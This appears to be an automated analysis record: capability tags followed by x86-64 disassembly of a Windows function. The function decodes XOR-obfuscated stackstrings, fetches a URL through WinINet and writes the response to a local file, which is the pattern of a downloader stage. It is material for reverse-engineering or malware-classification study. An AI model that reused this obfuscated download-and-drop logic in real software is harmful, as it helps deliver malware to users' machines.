Function at 0x1400050f0
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x140155010]
xor rax, rsp
mov qword [rbp + 0x500], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
lea r13, [rbp + 0x538]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], r13
mov r14, qword [r13]
xor r14, rax
mov qword [rbp + 0xc0], r14
mov qword [r13], r12
lea rcx, [rbp + 0x70]
call fcn.140003110
nop
mov rcx, rax
cmp qword [rax + 0x18], 8
jb 0x140005180
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
call fcn.140059dd4
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp + 0xd8]
call fcn.140008e10
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x1400051f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005a938
movdqa xmm0, xmmword [0x1401486e0]
movdqu xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x70], r12w
mov dword [rsp + 0x30], 0x2e734d21
mov dword [rsp + 0x34], 0x6e6962
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005230
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0xd8]
call fcn.140008ab0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xa0]
call fcn.140006dd0
nop
cmp qword [rbp + 0xb0], 0
jne 0x1400053f7
mov dword [rsp + 0x30], 0x72724509
mov word [rsp + 0x34], 0x726f
mov byte [rsp + 0x36], 0
movdqa xmm0, xmmword [0x140148fc0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140148f70]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140148fa0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1401495c0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140149550]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1401488e0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1401488d0]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x786f492c
mov byte [rbp - 0x1c], 0
mov rcx, r12
nop dword [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x79], al
add rcx, 0x17
cmp rcx, 0x73
jb 0x1400052f0
mov byte [rbp - 0x1c], 0
mov r9d, 0x10
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x71]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [0x14016e360], r12d
xor bl, bl
jmp 0x140005970
mov dword [rsp + 0x50], 0x41794d25
mov dword [rsp + 0x54], 0x746e6567
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x51]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
jne 0x1400055ba
mov cl, 0x65
mov word [rsp + 0x50], 0x65
movsx ecx, cl
movzx eax, cx
xor ax, 0x20
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 0x17
mov word [rsp + 0x54], ax
mov word [rsp + 0x56], ax
xor cx, 0xa
mov word [rsp + 0x58], cx
mov word [rsp + 0x5a], ax
mov word [rsp + 0x5c], r12w
lea rdx, [rsp + 0x70]
call fcn.140005a60
mov r9, rax
lea rdx, [rax + 2]
lea r8, [rax + 4]
lea r11d, [rsi + 5]
nop dword [rax + rax]
movsx ecx, byte [r9]
xor word [r8 - 2], cx
movsx ecx, byte [r9]
xor word [r8], cx
movsx eax, byte [r9]
xor word [r8 + 2], ax
movsx eax, byte [r9]
xor word [r8 + 4], ax
movsx eax, byte [r9]
xor word [r8 + 6], ax
movsx eax, byte [r9]
xor word [r8 + 8], ax
movsx eax, byte [r9]
xor word [r8 + 0xa], ax
movsx eax, byte [r9]
xor word [r8 + 0xc], ax
movsx eax, byte [r9]
xor word [r8 + 0xe], ax
movsx eax, byte [r9]
xor word [r8 + 0x10], ax
movsx eax, byte [r9]
xor word [r8 + 0x12], ax
movsx eax, byte [r9]
xor word [r8 + 0x14], ax
movsx eax, byte [r9]
xor word [r8 + 0x16], ax
movsx eax, byte [r9]
xor word [r8 + 0x18], ax
movsx eax, byte [r9]
xor word [r8 + 0x1a], ax
movsx eax, byte [r9]
xor word [r8 + 0x1c], ax
movsx eax, byte [r9]
xor word [r8 + 0x1e], ax
movsx eax, byte [r9]
xor word [r8 + 0x20], ax
movsx eax, byte [r9]
xor word [r8 + 0x22], ax
lea r8, [r8 + 0x26]
sub r11, 1
jne 0x140005490
mov word [rdx + 0xbe], r12w
xor r9d, r9d
lea r8, [rsp + 0x52]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movdqa xmm0, xmmword [0x1401491b0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x7a696c61
mov dword [rsp + 0x64], 0x69572065
mov dword [rsp + 0x68], 0x654e496e
mov word [rsp + 0x6c], 0x2174
mov byte [rsp + 0x6e], 0
lea rdx, [rsp + 0x51]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400092c0
lea rdx, [0x140009490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
jmp 0x140005970
cmp qword [rbx + 0x18], 0x10
jb 0x1400055c4
mov rbx, qword [rbx]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x100
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000575a
mov cl, 0x2c
mov word [rsp + 0x30], 0x2c
movsx ecx, cl
movzx eax, cx
xor ax, 0x69
mov word [rsp + 0x32], ax
movzx eax, cx
xor ax, 0x5e
mov word [rsp + 0x34], ax
mov word [rsp + 0x36], ax
xor cx, 0x43
mov word [rsp + 0x38], cx
mov word [rsp + 0x3a], ax
mov word [rsp + 0x3c], r12w
lea rdx, [rsp + 0x70]
call fcn.140005c20
mov r10, rax
lea rdx, [rax + 2]
lea r8, [rax + 4]
lea r11d, [rbx + 5]
nop word [rax + rax]
movsx ecx, byte [r10]
xor word [r8 - 2], cx
movsx ecx, byte [r10]
xor word [r8], cx
movsx eax, byte [r10]
xor word [r8 + 2], ax
movsx eax, byte [r10]
xor word [r8 + 4], ax
movsx eax, byte [r10]
xor word [r8 + 6], ax
movsx eax, byte [r10]
xor word [r8 + 8], ax
movsx eax, byte [r10]
xor word [r8 + 0xa], ax
movsx eax, byte [r10]
xor word [r8 + 0xc], ax
movsx eax, byte [r10]
xor word [r8 + 0xe], ax
movsx eax, byte [r10]
xor word [r8 + 0x10], ax
movsx eax, byte [r10]
xor word [r8 + 0x12], ax
movsx eax, byte [r10]
xor word [r8 + 0x14], ax
movsx eax, byte [r10]
xor word [r8 + 0x16], ax
movsx eax, byte [r10]
xor word [r8 + 0x18], ax
movsx eax, byte [r10]
xor word [r8 + 0x1a], ax
movsx eax, byte [r10]
xor word [r8 + 0x1c], ax
movsx eax, byte [r10]
xor word [r8 + 0x1e], ax
lea r8, [r8 + 0x22]
sub r11, 1
jne 0x140005650
mov word [rdx + 0xaa], r12w
xor r9d, r9d
lea r8, [rsp + 0x32]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movdqa xmm0, xmmword [0x140148910]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x214c5255
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400092c0
lea rdx, [0x140009490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x140005970
mov dword [rsp + 0x30], 0x62777b
lea r15, [0x14016d740]
mov rcx, r15
cmp qword [0x14016d758], 0x10
cmovae rcx, qword [0x14016d740]
lea rdx, [rsp + 0x31]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400058e3
movdqa xmm0, xmmword [0x1401494a0]
movdqu xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401488c0]
movdqu xmmword [rbp + 0x80], xmm1
mov word [rbp + 0x90], 0x20
lea rdx, [rbp + 0x71]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400092c0
cmp qword [0x14016d758], 0x10
cmovae r15, qword [0x14016d740]
mov r8, qword [0x14016d750]
mov rdx, r15
mov rcx, rax
call fcn.14000a930
lea rdx, [0x140009490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov cl, 0x71
mov word [rsp + 0x30], 0x71
movsx ecx, cl
movzx eax, cx
xor ax, 0x34
mov word [rsp + 0x32], ax
movzx eax, cx
xor ax, 3
mov word [rsp + 0x34], ax
mov word [rsp + 0x36], ax
xor cx, 0x1e
mov word [rsp + 0x38], cx
mov word [rsp + 0x3a], ax
mov word [rsp + 0x3c], r12w
lea rdx, [rsp + 0x70]
call fcn.140005db0
mov r8, rax
lea r10, [rax + 2]
lea rcx, [rax + 4]
lea r9d, [rdi + 0xb]
movsx edx, byte [r8]
xor word [rcx - 2], dx
movsx edx, byte [r8]
xor word [rcx], dx
movsx edx, byte [r8]
xor word [rcx + 2], dx
movsx eax, byte [r8]
xor word [rcx + 4], ax
movsx eax, byte [r8]
xor word [rcx + 6], ax
movsx eax, byte [r8]
xor word [rcx + 8], ax
movsx eax, byte [r8]
xor word [rcx + 0xa], ax
movsx eax, byte [r8]
xor word [rcx + 0xc], ax
movsx eax, byte [r8]
xor word [rcx + 0xe], ax
movsx eax, byte [r8]
xor word [rcx + 0x10], ax
movsx eax, byte [r8]
xor word [rcx + 0x12], ax
lea rcx, [rcx + 0x16]
sub r9, 1
jne 0x140005851
mov word [r10 + 0xf2], r12w
lea r8, [rsp + 0x32]
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x140005970
mov dword [rbp + 0x98], r12d
lea r9, [rbp + 0x98]
mov r8d, 0x400
lea rdx, [rbp + 0x100]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005953
nop dword [rax + rax]
mov eax, dword [rbp + 0x98]
test eax, eax
je 0x140005953
mov r8d, eax
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rbp + 0x98]
mov r8d, 0x400
lea rdx, [rbp + 0x100]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005910
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov bl, 1
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400059b4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005a938
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140005a12
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005a938
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
mov qword [r13], r14
movzx eax, bl
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.14005a640
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret